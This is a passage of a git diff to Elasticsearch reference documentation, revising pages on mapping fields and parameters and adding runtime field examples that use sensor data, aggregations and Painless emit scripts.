is the document's <>. Custom routing patterns can be implemented by specifying a custom `routing` -value per document. For instance: +value per document. For instance: [source,console] ------------------------------ @@ -48,7 +48,7 @@ appropriate backing index for the stream. ==== Searching with custom routing -Custom routing can reduce the impact of searches. Instead of having to fan +Custom routing can reduce the impact of searches. Instead of having to fan out a search request to all the shards in an index, the request can be sent to just the shard that matches the specific routing value (or values): @@ -74,7 +74,7 @@ whenever <>, <>, <>, or <> a document. Forgetting the routing value can lead to a document being indexed on more than -one shard. As a safeguard, the `_routing` field can be configured to make a +one shard. As a safeguard, the `_routing` field can be configured to make a custom `routing` value required for all CRUD operations: [source,console] diff --git a/docs/reference/mapping/fields/source-field.asciidoc b/docs/reference/mapping/fields/source-field.asciidoc index 43b1fc3b1e474..0720a7758b046 100644 --- a/docs/reference/mapping/fields/source-field.asciidoc +++ b/docs/reference/mapping/fields/source-field.asciidoc @@ -2,7 +2,7 @@ === `_source` field The `_source` field contains the original JSON document body that was passed -at index time. The `_source` field itself is not indexed (and thus is not +at index time. The `_source` field itself is not indexed (and thus is not searchable), but it is stored so that it can be returned when executing _fetch_ requests, like <> or <>. @@ -29,7 +29,7 @@ PUT my-index-000001 ================================================== Users often disable the `_source` field without thinking about the -consequences, and then live to regret it. If the `_source` field isn't +consequences, and then live to regret it. If the `_source` field isn't available then a number of features are not supported: * The <>, <>, diff --git a/docs/reference/mapping/fields/tier-field.asciidoc b/docs/reference/mapping/fields/tier-field.asciidoc new file mode 100644 index 0000000000000..d4247471b2633 --- /dev/null +++ b/docs/reference/mapping/fields/tier-field.asciidoc @@ -0,0 +1,44 @@ +[[mapping-tier-field]] +=== `_tier` field + +When performing queries across multiple indexes, it is sometimes desirable to +target indexes held on nodes of a given data tier (`data_hot`, `data_warm`, `data_cold` or `data_frozen`). +The `_tier` field allows matching on the `tier_preference` setting of the index a document was indexed into. +The preferred value is accessible in certain queries : + +[source,console] +-------------------------- +PUT index_1/_doc/1 +{ + "text": "Document in index 1" +} + +PUT index_2/_doc/2?refresh=true +{ + "text": "Document in index 2" +} + +GET index_1,index_2/_search +{ + "query": { + "terms": { + "_tier": ["data_hot", "data_warm"] <1> + } + } +} +-------------------------- + +<1> Querying on the `_tier` field + + +Typically a query will use a `terms` query to list the tiers of interest but you can use +the `_tier` field in any query that is rewritten to a `term` query, such as the +`match`, `query_string`, `term`, `terms`, or `simple_query_string` query, as well as `prefix` +and `wildcard` queries. However, it does not support `regexp` and `fuzzy` +queries. + +The `tier_preference` setting of the index is a comma-delimited list of tier names +in order of preference i.e. the preferred tier for hosting an index is listed first followed +by potentially many fall-back options. Query matching only considers the first preference +(the first value of a list). + diff --git a/docs/reference/mapping/params/analyzer.asciidoc b/docs/reference/mapping/params/analyzer.asciidoc index 4c5d7cda7337a..94bf68c47d204 100644 --- a/docs/reference/mapping/params/analyzer.asciidoc +++ b/docs/reference/mapping/params/analyzer.asciidoc @@ -19,6 +19,9 @@ We recommend testing analyzers before using them in production. See <>. ==== +TIP: The `analyzer` setting can *not* be updated on existing fields +using the <>. + [[search-quote-analyzer]] ==== `search_quote_analyzer` @@ -94,6 +97,9 @@ GET my-index-000001/_search } -------------------------------------------------- +TIP: The `search_quote_analyzer` setting can be updated on existing fields +using the <>. + <1> `my_analyzer` analyzer which tokens all terms including stop words <2> `my_stop_analyzer` analyzer which removes stop words <3> `analyzer` setting that points to the `my_analyzer` analyzer which will be used at index time diff --git a/docs/reference/mapping/params/coerce.asciidoc b/docs/reference/mapping/params/coerce.asciidoc index 805dd33bcf4be..fde4163238eed 100644 --- a/docs/reference/mapping/params/coerce.asciidoc +++ b/docs/reference/mapping/params/coerce.asciidoc @@ -1,9 +1,9 @@ [[coerce]] === `coerce` -Data is not always clean. Depending on how it is produced a number might be +Data is not always clean. Depending on how it is produced a number might be rendered in the JSON body as a true JSON number, e.g. `5`, but it might also -be rendered as a string, e.g. `"5"`. Alternatively, a number that should be +be rendered as a string, e.g. `"5"`. Alternatively, a number that should be an integer might instead be rendered as a floating point, e.g. `5.0`, or even `"5.0"`. @@ -48,7 +48,7 @@ PUT my-index-000001/_doc/2 <2> This document will be rejected because coercion is disabled. TIP: The `coerce` setting value can be updated on existing fields -using the <>. +using the <>. [[coerce-setting]] ==== Index-level default diff --git a/docs/reference/mapping/params/copy-to.asciidoc b/docs/reference/mapping/params/copy-to.asciidoc index cc5c811ccf33b..8e6cb036e3326 100644 --- a/docs/reference/mapping/params/copy-to.asciidoc +++ b/docs/reference/mapping/params/copy-to.asciidoc @@ -67,4 +67,6 @@ Some important points: * You cannot copy recursively via intermediary fields such as a `copy_to` on `field_1` to `field_2` and `copy_to` on `field_2` to `field_3` expecting indexing into `field_1` will eventuate in `field_3`, instead use copy_to -directly to multiple fields from the originating field. \ No newline at end of file +directly to multiple fields from the originating field. + +NOTE: `copy-to` is _not_ supported for field types where values take the form of objects, e.g. `date_range` \ No newline at end of file diff --git a/docs/reference/mapping/params/doc-values.asciidoc b/docs/reference/mapping/params/doc-values.asciidoc index e065537daa47a..000a97a73ef52 100644 --- a/docs/reference/mapping/params/doc-values.asciidoc +++ b/docs/reference/mapping/params/doc-values.asciidoc @@ -7,7 +7,7 @@ unique sorted list of terms, and from that immediately have access to the list of documents that contain the term. Sorting, aggregations, and access to field values in scripts requires a -different data access pattern. Instead of looking up the term and finding +different data access pattern. Instead of looking up the term and finding documents, we need to be able to look up the document and find the terms that it has in a field. diff --git a/docs/reference/mapping/params/dynamic.asciidoc b/docs/reference/mapping/params/dynamic.asciidoc index 1bb845885c43a..7e7d055d72d25 100644 --- a/docs/reference/mapping/params/dynamic.asciidoc +++ b/docs/reference/mapping/params/dynamic.asciidoc @@ -89,4 +89,4 @@ accepts the following parameters: or searchable, but will still appear in the `_source` field of returned hits. These fields will not be added to the mapping, and new fields must be added explicitly. `strict`:: If new fields are detected, an exception is thrown and the document - is rejected. New fields must be explicitly added to the mapping. + is rejected. New fields must be explicitly added to the mapping. diff --git a/docs/reference/mapping/params/eager-global-ordinals.asciidoc b/docs/reference/mapping/params/eager-global-ordinals.asciidoc index d1e3f07c45701..61ab357e09c0b 100644 --- a/docs/reference/mapping/params/eager-global-ordinals.asciidoc +++ b/docs/reference/mapping/params/eager-global-ordinals.asciidoc @@ -85,7 +85,7 @@ PUT my-index-000001/_mapping ------------ // TEST[continued] -IMPORTANT: On a <>, global ordinals are discarded +IMPORTANT: On a <>, global ordinals are discarded after each search and rebuilt again when they're requested. This means that `eager_global_ordinals` should not be used on frozen indices: it would cause global ordinals to be reloaded on every search. Instead, the index should diff --git a/docs/reference/mapping/params/enabled.asciidoc b/docs/reference/mapping/params/enabled.asciidoc index cd8555d952a0e..3c4407b64e12b 100644 --- a/docs/reference/mapping/params/enabled.asciidoc +++ b/docs/reference/mapping/params/enabled.asciidoc @@ -2,14 +2,14 @@ === `enabled` Elasticsearch tries to index all of the fields you give it, but sometimes you -want to just store the field without indexing it. For instance, imagine that -you are using Elasticsearch as a web session store. You may want to index the +want to just store the field without indexing it. For instance, imagine that +you are using Elasticsearch as a web session store. You may want to index the session ID and last update time, but you don't need to query or run aggregations on the session data itself. The `enabled` setting, which can be applied only to the top-level mapping definition and to <> fields, causes Elasticsearch to skip -parsing of the contents of the field entirely. The JSON can still be retrieved +parsing of the contents of the field entirely. The JSON can still be retrieved from the <> field, but it is not searchable or stored in any other way: diff --git a/docs/reference/mapping/params/format.asciidoc b/docs/reference/mapping/params/format.asciidoc index df66a3b64f9cb..9d3468e38a5a1 100644 --- a/docs/reference/mapping/params/format.asciidoc +++ b/docs/reference/mapping/params/format.asciidoc @@ -31,7 +31,7 @@ down to the nearest day. [[custom-date-formats]] ==== Custom date formats -Completely customizable date formats are supported. The syntax for these is explained +Completely customizable date formats are supported. The syntax for these is explained https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html[DateTimeFormatter docs]. [[built-in-date-formats]] diff --git a/docs/reference/mapping/params/ignore-above.asciidoc b/docs/reference/mapping/params/ignore-above.asciidoc index d144e4ef9ea8f..7d04bc82dcbb3 100644 --- a/docs/reference/mapping/params/ignore-above.asciidoc +++ b/docs/reference/mapping/params/ignore-above.asciidoc @@ -48,7 +48,7 @@ GET my-index-000001/_search <4> <4> Search returns both documents, but only the first is present in the terms aggregation. TIP: The `ignore_above` setting can be updated on -existing fields using the <>. +existing fields using the <>. This option is also useful for protecting against Lucene's term byte-length limit of `32766`. diff --git a/docs/reference/mapping/params/ignore-malformed.asciidoc b/docs/reference/mapping/params/ignore-malformed.asciidoc index 69f66a0681c4c..e103be1c98dbf 100644 --- a/docs/reference/mapping/params/ignore-malformed.asciidoc +++ b/docs/reference/mapping/params/ignore-malformed.asciidoc @@ -1,12 +1,12 @@ [[ignore-malformed]] === `ignore_malformed` -Sometimes you don't have much control over the data that you receive. One +Sometimes you don't have much control over the data that you receive. One user may send a `login` field that is a <>, and another sends a `login` field that is an email address. Trying to index the wrong data type into a field throws an exception by -default, and rejects the whole document. The `ignore_malformed` parameter, if +default, and rejects the whole document. The `ignore_malformed` parameter, if set to `true`, allows the exception to be ignored. The malformed field is not indexed, but other fields in the document are processed normally. @@ -56,7 +56,7 @@ The `ignore_malformed` setting is currently supported by the following <>:: `ip` for IPv4 and IPv6 addresses TIP: The `ignore_malformed` setting value can be updated on -existing fields using the <>. +existing fields using the <>. [[ignore-malformed-setting]] ==== Index-level default diff --git a/docs/reference/mapping/params/index-options.asciidoc b/docs/reference/mapping/params/index-options.asciidoc index 87178e6fc6493..b66de828f3c35 100644 --- a/docs/reference/mapping/params/index-options.asciidoc +++ b/docs/reference/mapping/params/index-options.asciidoc @@ -10,25 +10,27 @@ The `index_options` parameter is intended for use with <> fields only. Avoid using `index_options` with other field data types. ==== -It accepts the following values: +The parameter accepts one of the following values. Each value retrieves +information from the previous listed values. For example, `freqs` contains +`docs`; `positions` contains both `freqs` and `docs`. `docs`:: -Only the doc number is indexed. Can answer the question _Does this term -exist in this field?_ +Only the doc number is indexed. Can answer the question _Does this term exist in +this field?_ `freqs`:: -Doc number and term frequencies are indexed. Term frequencies are used to -score repeated terms higher than single terms. +Doc number and term frequencies are indexed. Term frequencies are used to score +repeated terms higher than single terms. `positions` (default):: Doc number, term frequencies, and term positions (or order) are indexed. -Positions can be used for -<>. +Positions can be used for <>. `offsets`:: -Doc number, term frequencies, positions, and start and end character -offsets (which map the term back to the original string) are indexed. -Offsets are used by the <> to speed up highlighting. +Doc number, term frequencies, positions, and start and end character offsets +(which map the term back to the original string) are indexed. Offsets are used +by the <> to speed up highlighting. [source,console] -------------------------------------------------- diff --git a/docs/reference/mapping/params/index-phrases.asciidoc b/docs/reference/mapping/params/index-phrases.asciidoc index 1b169a33dcc26..5bf6b42128123 100644 --- a/docs/reference/mapping/params/index-phrases.asciidoc +++ b/docs/reference/mapping/params/index-phrases.asciidoc @@ -2,7 +2,7 @@ === `index_phrases` If enabled, two-term word combinations ('shingles') are indexed into a separate -field. This allows exact phrase queries (no slop) to run more efficiently, at the expense -of a larger index. Note that this works best when stopwords are not removed, +field. This allows exact phrase queries (no slop) to run more efficiently, at the expense +of a larger index. Note that this works best when stopwords are not removed, as phrases containing stopwords will not use the subsidiary field and will fall -back to a standard phrase query. Accepts `true` or `false` (default). \ No newline at end of file +back to a standard phrase query. Accepts `true` or `false` (default). \ No newline at end of file diff --git a/docs/reference/mapping/params/index-prefixes.asciidoc b/docs/reference/mapping/params/index-prefixes.asciidoc index 1184245ca1549..a143c5531c81b 100644 --- a/docs/reference/mapping/params/index-prefixes.asciidoc +++ b/docs/reference/mapping/params/index-prefixes.asciidoc @@ -2,17 +2,17 @@ === `index_prefixes` The `index_prefixes` parameter enables the indexing of term prefixes to speed -up prefix searches. It accepts the following optional settings: +up prefix searches. It accepts the following optional settings: [horizontal] `min_chars`:: - The minimum prefix length to index. Must be greater than 0, and defaults - to 2. The value is inclusive. + The minimum prefix length to index. Must be greater than 0, and defaults + to 2. The value is inclusive. `max_chars`:: - The maximum prefix length to index. Must be less than 20, and defaults to 5. + The maximum prefix length to index. Must be less than 20, and defaults to 5. The value is inclusive. This example creates a text field using the default prefix length settings: diff --git a/docs/reference/mapping/params/meta.asciidoc b/docs/reference/mapping/params/meta.asciidoc index 16f4394ba57fb..b78a61f93e511 100644 --- a/docs/reference/mapping/params/meta.asciidoc +++ b/docs/reference/mapping/params/meta.asciidoc @@ -43,7 +43,7 @@ unit:: metric_type:: - The metric type of a numeric field: `"gauge"` or `"counter"`. A gauge is a + The metric type of a numeric field: `"gauge"` or `"counter"`. A gauge is a single-value measurement that can go up or down over time, such as a temperature. A counter is a single-value cumulative counter that only goes up, such as the number of requests processed by a web server. By default, diff --git a/docs/reference/mapping/params/multi-fields.asciidoc b/docs/reference/mapping/params/multi-fields.asciidoc index fcf828db8909a..e18ee3b1823c2 100644 --- a/docs/reference/mapping/params/multi-fields.asciidoc +++ b/docs/reference/mapping/params/multi-fields.asciidoc @@ -2,7 +2,7 @@ === `fields` It is often useful to index the same field in different ways for different -purposes. This is the purpose of _multi-fields_. For instance, a `string` +purposes. This is the purpose of _multi-fields_. For instance, a `string` field could be mapped as a `text` field for full-text search, and as a `keyword` field for sorting or aggregations: @@ -61,7 +61,7 @@ GET my-index-000001/_search NOTE: Multi-fields do not change the original `_source` field. TIP: New multi-fields can be added to existing -fields using the <>. +fields using the <>. ==== Multi-fields with multiple analyzers @@ -117,12 +117,12 @@ GET my-index-000001/_search <4> Query both the `text` and `text.english` fields and combine the scores. The `text` field contains the term `fox` in the first document and `foxes` in -the second document. The `text.english` field contains `fox` for both +the second document. The `text.english` field contains `fox` for both documents, because `foxes` is stemmed to `fox`. The query string is also analyzed by the `standard` analyzer for the `text` -field, and by the `english` analyzer for the `text.english` field. The +field, and by the `english` analyzer for the `text.english` field. The stemmed field allows a query for `foxes` to also match the document containing -just `fox`. This allows us to match as many documents as possible. By also +just `fox`. This allows us to match as many documents as possible. By also querying the unstemmed `text` field, we improve the relevance score of the document which matches `foxes` exactly. diff --git a/docs/reference/mapping/params/norms.asciidoc b/docs/reference/mapping/params/norms.asciidoc index 303c2af5ecc13..be60daebfbe8f 100644 --- a/docs/reference/mapping/params/norms.asciidoc +++ b/docs/reference/mapping/params/norms.asciidoc @@ -8,14 +8,14 @@ Although useful for scoring, norms also require quite a lot of disk (typically in the order of one byte per document per field in your index, even for documents that don't have this specific field). As a consequence, if you don't need scoring on a specific field, you should disable norms on that -field. In particular, this is the case for fields that are used solely for +field. In particular, this is the case for fields that are used solely for filtering or aggregations. TIP: Norms can be disabled on existing fields using -the <>. +the <>. Norms can be disabled (but not reenabled after the fact), using the -<> like so: +<> like so: [source,console] ------------ diff --git a/docs/reference/mapping/params/null-value.asciidoc b/docs/reference/mapping/params/null-value.asciidoc index f1737ed5ace22..d1ae7afc4ab69 100644 --- a/docs/reference/mapping/params/null-value.asciidoc +++ b/docs/reference/mapping/params/null-value.asciidoc @@ -1,12 +1,12 @@ [[null-value]] === `null_value` -A `null` value cannot be indexed or searched. When a field is set to `null`, +A `null` value cannot be indexed or searched. When a field is set to `null`, (or an empty array or an array of `null` values) it is treated as though that field has no values. The `null_value` parameter allows you to replace explicit `null` values with -the specified value so that it can be indexed and searched. For instance: +the specified value so that it can be indexed and searched. For instance: [source,console] -------------------------------------------------- @@ -46,7 +46,7 @@ GET my-index-000001/_search <2> An empty array does not contain an explicit `null`, and so won't be replaced with the `null_value`. <3> A query for `NULL` returns document 1, but not document 2. -IMPORTANT: The `null_value` needs to be the same data type as the field. For +IMPORTANT: The `null_value` needs to be the same data type as the field. For instance, a `long` field cannot have a string `null_value`. NOTE: The `null_value` only influences how data is indexed, it doesn't modify diff --git a/docs/reference/mapping/params/position-increment-gap.asciidoc b/docs/reference/mapping/params/position-increment-gap.asciidoc index 39b7b87cb3b34..79b7616a7c6bd 100644 --- a/docs/reference/mapping/params/position-increment-gap.asciidoc +++ b/docs/reference/mapping/params/position-increment-gap.asciidoc @@ -47,7 +47,7 @@ GET my-index-000001/_search are in separate strings, because `slop` > `position_increment_gap`. -The `position_increment_gap` can be specified in the mapping. For instance: +The `position_increment_gap` can be specified in the mapping. For instance: [source,console] -------------------------------------------------- diff --git a/docs/reference/mapping/params/properties.asciidoc b/docs/reference/mapping/params/properties.asciidoc index 1f3330062c223..106c3bb9c977e 100644 --- a/docs/reference/mapping/params/properties.asciidoc +++ b/docs/reference/mapping/params/properties.asciidoc @@ -3,11 +3,11 @@ Type mappings, <> and <> contain sub-fields, called `properties`. These properties may be of any -<>, including `object` and `nested`. Properties can +<>, including `object` and `nested`. Properties can be added: * explicitly by defining them when <>. -* explicitly by defining them when adding or updating a mapping type with the <> API. +* explicitly by defining them when adding or updating a mapping type with the <> API. * <> just by indexing documents containing new fields. Below is an example of adding `properties` to a mapping type, an `object` @@ -62,8 +62,8 @@ PUT my-index-000001/_doc/1 <4> <4> An example document which corresponds to the above mapping. TIP: The `properties` setting is allowed to have different settings for fields -of the same name in the same index. New properties can be added to existing -fields using the <>. +of the same name in the same index. New properties can be added to existing +fields using the <>. ==== Dot notation diff --git a/docs/reference/mapping/params/search-analyzer.asciidoc b/docs/reference/mapping/params/search-analyzer.asciidoc index 9f63b0b5acf9e..a0e707572039b 100644 --- a/docs/reference/mapping/params/search-analyzer.asciidoc +++ b/docs/reference/mapping/params/search-analyzer.asciidoc @@ -7,7 +7,7 @@ the terms in the inverted index. Sometimes, though, it can make sense to use a different analyzer at search time, such as when using the <> -tokenizer for autocomplete. +tokenizer for autocomplete or when using search-time synonyms. By default, queries will use the `analyzer` defined in the field mapping, but this can be overridden with the `search_analyzer` setting: @@ -76,4 +76,5 @@ See {defguide}/_index_time_search_as_you_type.html[Index time search-as-you- type] for a full explanation of this example. TIP: The `search_analyzer` setting can be updated on existing fields -using the <>. +using the <>. Note, that in order to do so, +any existing "analyzer" setting and "type" need to be repeated in the updated field definition. diff --git a/docs/reference/mapping/params/store.asciidoc b/docs/reference/mapping/params/store.asciidoc index c66c19812d6ba..a8e274a25e6b6 100644 --- a/docs/reference/mapping/params/store.asciidoc +++ b/docs/reference/mapping/params/store.asciidoc @@ -2,16 +2,16 @@ === `store` By default, field values are <> to make them searchable, -but they are not _stored_. This means that the field can be queried, but the +but they are not _stored_. This means that the field can be queried, but the original field value cannot be retrieved. -Usually this doesn't matter. The field value is already part of the +Usually this doesn't matter. The field value is already part of the <>, which is stored by default. If you only want to retrieve the value of a single field or of a few fields, instead of the whole `_source`, then this can be achieved with <>. -In certain situations it can make sense to `store` a field. For instance, if +In certain situations it can make sense to `store` a field. For instance, if you have a document with a `title`, a `date`, and a very large `content` field, you may want to retrieve just the `title` and the `date` without having to extract those fields from a large `_source` field: diff --git a/docs/reference/mapping/removal_of_types.asciidoc b/docs/reference/mapping/removal_of_types.asciidoc index acb521bd79909..a931f8d0c1f72 100644 --- a/docs/reference/mapping/removal_of_types.asciidoc +++ b/docs/reference/mapping/removal_of_types.asciidoc @@ -1,6 +1,6 @@ [[removal-of-types]] == Removal of mapping types -Elasticsearch 8.0.0 no longer supports mapping types. For details on how to +Elasticsearch 8.0.0 no longer supports mapping types. For details on how to migrate your clusters away from mapping types, see the {ref-7x}/removal-of-types.html[removal of types] documentation for the 7.x release. diff --git a/docs/reference/mapping/runtime.asciidoc b/docs/reference/mapping/runtime.asciidoc index 940a03138d453..18fd806e64aae 100644 --- a/docs/reference/mapping/runtime.asciidoc +++ b/docs/reference/mapping/runtime.asciidoc @@ -1,6 +1,5 @@ [[runtime]] == Runtime fields -beta::[] A _runtime field_ is a field that is evaluated at query time. Runtime fields enable you to: @@ -71,7 +70,6 @@ against runtime fields. [[runtime-mapping-fields]] === Map a runtime field -beta::[] You map runtime fields by adding a `runtime` section under the mapping definition and defining <>. This script has access to the @@ -79,15 +77,21 @@ entire context of a document, including the original `_source` and any mapped fields plus their values. At query time, the script runs and generates values for each scripted field that is required for the query. +.Emitting runtime field values +**** When defining a Painless script to use with runtime fields, you must include -`emit` to emit calculated values. For example, the script in the following -request extracts the day of the week from the `@timestamp` field, which is -defined as a `date` type. The script calculates the day of the week based on -the value of `timestamp`, and uses `emit` to return the calculated value. +the {painless}/painless-runtime-fields-context.html[`emit` method] to emit +calculated values. +**** + +For example, the script in the following request calculates the day of the week +from the `@timestamp` field, which is defined as a `date` type. The script +calculates the day of the week based on the value of `timestamp`, and uses +`emit` to return the calculated value. [source,console] ---- -PUT my-index/ +PUT my-index-000001/ { "mappings": { "runtime": { @@ -99,7 +103,7 @@ PUT my-index/ } }, "properties": { - "timestamp": {"type": "date"} + "@timestamp": {"type": "date"} } } } @@ -126,12 +130,12 @@ the index mapping as runtime fields: [source,console] ---- -PUT my-index +PUT my-index-000001 { "mappings": { "dynamic": "runtime", "properties": { - "timestamp": { + "@timestamp": { "type": "date" } } @@ -141,14 +145,14 @@ PUT my-index [[runtime-fields-scriptless]] ==== Define runtime fields without a script -You can define a runtime field in the mapping definition without a -script. At query time, {es} looks in `_source` for a field with the same name -and returns a value if one exists. If a field with the same name doesn’t -exist, the response doesn't include any values for that runtime field. +Runtime fields typically include a Painless script that manipulates data in some +way. However, there are instances where you might define a runtime field +_without_ a script. For example, if you want to retrieve a single field from `_source` without making changes, you don't need a script. You can just create +a runtime field without a script, such as `day_of_week`: [source,console] ---- -PUT my-index/ +PUT my-index-000001/ { "mappings": { "runtime": { @@ -160,6 +164,26 @@ PUT my-index/ } ---- +When no script is provided, {es} implicitly looks in `_source` at query time +for a field with the same name as the runtime field, and returns a value if one +exists. If a field with the same name doesn’t exist, the response doesn't +include any values for that runtime field. + +In most cases, retrieve field values through +<> whenever possible. Accessing `doc_values` with a +runtime field is faster than retrieving values from `_source` because of how +data is loaded from Lucene. + +However, there are cases where retrieving fields from `_source` is necessary. +For example, `text` fields do not have `doc_values` available by default, so you +have to retrieve values from `_source`. In other instances, you might choose to +disable `doc_values` on a specific field. + +NOTE: You can alternatively prefix the field you want to retrieve values for +with `params._source` (such as `params._source.day_of_week`). For simplicity, +defining a runtime field in the mapping definition without a script is the +recommended option, whenever possible. + [[runtime-updating-scripts]] ==== Updating and removing runtime fields @@ -170,7 +194,7 @@ remove a runtime field from the mappings, set the value of the runtime field to [source,console] ---- -PUT my-index/_mapping +PUT my-index-000001/_mapping { "runtime": { "day_of_week": null @@ -185,7 +209,7 @@ Updating or removing a runtime field while a dependent query is running can retu inconsistent results. Each shard might have access to different versions of the script, depending on when the mapping change takes effect. -Existing queries or visualizations in {kib} that rely on runtime fields can +WARNING: Existing queries or visualizations in {kib} that rely on runtime fields can fail if you remove or update the field. For example, a bar chart visualization that uses a runtime field of type `ip` will fail if the type is changed to `boolean`, or if the runtime field is removed. @@ -193,25 +217,23 @@ to `boolean`, or if the runtime field is removed. [[runtime-search-request]] === Define runtime fields in a search request -beta::[] You can specify a `runtime_mappings` section in a search request to create runtime fields that exist only as part of the query. You specify a script -as part of the `runtime_mappings` section, just as you would if adding a -runtime field to the mappings. +as part of the `runtime_mappings` section, just as you would if +<>. -Fields defined in the search request take precedence over fields defined with -the same name in the index mappings. This flexibility allows you to shadow -existing fields and calculate a different value in the search request, without -modifying the field itself. If you made a mistake in your index mapping, you -can use runtime fields to calculate values that override values in the mapping -during the search request. +Defining a runtime field in a search request uses the same format as defining +a runtime field in the index mapping. Just copy the field definition from +the `runtime_mappings` in the search request to the `runtime` section of the +index mapping. -In the following request, the values for the `day_of_week` field are calculated -dynamically, and only within the context of this search request: +The following search request adds a `day_of_week` field to the +`runtime_mappings` section. The field values will be calculated dynamically, +and only within the context of this search request: [source,console] ---- -GET my-index/_search +GET my-index-000001/_search { "runtime_mappings": { "day_of_week": { @@ -232,15 +254,158 @@ GET my-index/_search ---- //TEST[continued] -Defining a runtime field in a search request uses the same format as defining -a runtime field in the index mapping. That consistency means you can promote a -runtime field from a search request to the index mapping by moving the field -definition from `runtime_mappings` in the search request to the `runtime` -section of the index mapping. +[[runtime-search-request-examples]] +[discrete] +=== Create runtime fields that use other runtime fields +You can even define runtime fields in a search request that return values from +other runtime fields. For example, let's say you bulk index some sensor data: + +[source,console] +---- +POST my-index-000001/_bulk?refresh=true +{"index":{}} +{"@timestamp":1516729294000,"model_number":"QVKC92Q","measures":{"voltage":"5.2","start": "300","end":"8675309"}} +{"index":{}} +{"@timestamp":1516642894000,"model_number":"QVKC92Q","measures":{"voltage":"5.8","start": "300","end":"8675309"}} +{"index":{}} +{"@timestamp":1516556494000,"model_number":"QVKC92Q","measures":{"voltage":"5.1","start": "300","end":"8675309"}} +{"index":{}} +{"@timestamp":1516470094000,"model_number":"QVKC92Q","measures":{"voltage":"5.6","start": "300","end":"8675309"}} +{"index":{}} +{"@timestamp":1516383694000,"model_number":"HG537PU","measures":{"voltage":"4.2","start": "400","end":"8625309"}} +{"index":{}} +{"@timestamp":1516297294000,"model_number":"HG537PU","measures":{"voltage":"4.0","start": "400","end":"8625309"}} +---- + +You realize after indexing that your numeric data was mapped as type `text`. +You want to aggregate on the `measures.start` and `measures.end` fields, but +the aggregation fails because you can't aggregate on fields of type `text`. +Runtime fields to the rescue! You can add runtime fields with the same name as +your indexed fields and modify the data type: + +[source,console] +---- +PUT my-index-000001/_mapping +{ + "runtime": { + "measures.start": { + "type": "long" + }, + "measures.end": { + "type": "long" + } + } +} +---- +// TEST[continued] + +Runtime fields take precedence over fields defined with the same name in the +index mappings. This flexibility allows you to shadow existing fields and +calculate a different value, without modifying the field itself. If you made a +mistake in your index mapping, you can use runtime fields to calculate values +that <> in the mapping during the +search request. + +Now, you can easily run an +<> on the +`measures.start` and `measures.end` fields: + +[source,console] +---- +GET my-index-000001/_search +{ + "aggs": { + "avg_start": { + "avg": { + "field": "measures.start" + } + }, + "avg_end": { + "avg": { + "field": "measures.end" + } + } + } +} +---- +// TEST[continued] +// TEST[s/_search/_search\?filter_path=aggregations/] + +The response includes the aggregation results without changing the values for +the underlying data: + +[source,console-result] +---- +{ + "aggregations" : { + "avg_start" : { + "value" : 333.3333333333333 + }, + "avg_end" : { + "value" : 8658642.333333334 + } + } +} +---- + +Further, you can define a runtime field as part of a search query that +calculates a value, and then run a +<> on that +field _in the same query_. + +The `duration` runtime field doesn't exist in the index mapping, but we can +still search and aggregate on that field. The following query returns the +calculated value for the `duration` field and runs a stats aggregation to +compute statistics over numeric values extracted from the aggregated documents. + +[source,console] +---- +GET my-index-000001/_search +{ + "runtime_mappings": { + "duration": { + "type": "long", + "script": { + "source": """ + emit(doc['measures.end'].value - doc['measures.start'].value); + """ + } + } + }, + "aggs": { + "duration_stats": { + "stats": { + "field": "duration" + } + } + } +} +---- +// TEST[continued] +// TEST[s/_search/_search\?filter_path=aggregations/] + +Even though the `duration` runtime field only exists in the context of a search +query, you can search and aggregate on that field. This flexibility is +incredibly powerful, enabling you to rectify mistakes in your index mappings +and dynamically complete calculations all within a single search request. + +[source,console-result] +---- +{ + "aggregations" : { + "duration_stats" : { + "count" : 6, + "min" : 8624909.0, + "max" : 8675009.0, + "avg" : 8658309.0, + "sum" : 5.1949854E7 + } + } +} +---- [[runtime-override-values]] === Override field values at query time -beta::[] If you create a runtime field with the same name as a field that already exists in the mapping, the runtime field shadows the mapped field. At query time, {es} evaluates the runtime field, calculates a value based on the @@ -248,23 +413,23 @@ script, and returns the value as part of the query. Because the runtime field shadows the mapped field, you can override the value returned in search without modifying the mapped field. -For example, let's say you indexed the following documents into `my-index`: +For example, let's say you indexed the following documents into `my-index-000001`: [source,console] ---- -POST my-index/_bulk?refresh=true +POST my-index-000001/_bulk?refresh=true {"index":{}} -{"timestamp":1516729294000,"model_number":"QVKC92Q","measures":{"voltage":5.2}} +{"@timestamp":1516729294000,"model_number":"QVKC92Q","measures":{"voltage":5.2}} {"index":{}} -{"timestamp":1516642894000,"model_number":"QVKC92Q","measures":{"voltage":5.8}} +{"@timestamp":1516642894000,"model_number":"QVKC92Q","measures":{"voltage":5.8}} {"index":{}} -{"timestamp":1516556494000,"model_number":"QVKC92Q","measures":{"voltage":5.1}} +{"@timestamp":1516556494000,"model_number":"QVKC92Q","measures":{"voltage":5.1}} {"index":{}} -{"timestamp":1516470094000,"model_number":"QVKC92Q","measures":{"voltage":5.6}} +{"@timestamp":1516470094000,"model_number":"QVKC92Q","measures":{"voltage":5.6}} {"index":{}} -{"timestamp":1516383694000,"model_number":"HG537PU","measures":{"voltage":4.2}} +{"@timestamp":1516383694000,"model_number":"HG537PU","measures":{"voltage":4.2}} {"index":{}} -{"timestamp":1516297294000,"model_number":"HG537PU","measures":{"voltage":4.0}} +{"@timestamp":1516297294000,"model_number":"HG537PU","measures":{"voltage":4.0}} ---- You later realize that the `HG537PU` sensors aren't reporting their true @@ -277,7 +442,7 @@ If you search for documents where the model number matches `HG537PU`: [source,console] ---- -GET my-index/_search +GET my-index-000001/_search { "query": { "match": { @@ -303,11 +468,11 @@ The response includes indexed values for documents matching model number "max_score" : 1.0296195, "hits" : [ { - "_index" : "my-index", + "_index" : "my-index-000001", "_id" : "F1BeSXYBg_szTodcYCmk", "_score" : 1.0296195, "_source" : { - "timestamp" : 1516383694000, + "@timestamp" : 1516383694000, "model_number" : "HG537PU", "measures" : { "voltage" : 4.2 @@ -315,11 +480,11 @@ The response includes indexed values for documents matching model number } }, { - "_index" : "my-index", + "_index" : "my-index-000001", "_id" : "l02aSXYBkpNf6QRDO62Q", "_score" : 1.0296195, "_source" : { - "timestamp" : 1516297294000, + "@timestamp" : 1516297294000, "model_number" : "HG537PU", "measures" : { "voltage" : 4.0 @@ -344,7 +509,7 @@ for documents matching the search request: [source,console] ---- -POST my-index/_search +POST my-index-000001/_search { "runtime_mappings": { "measures.voltage": { @@ -384,11 +549,11 @@ which still returns in the response: "max_score" : 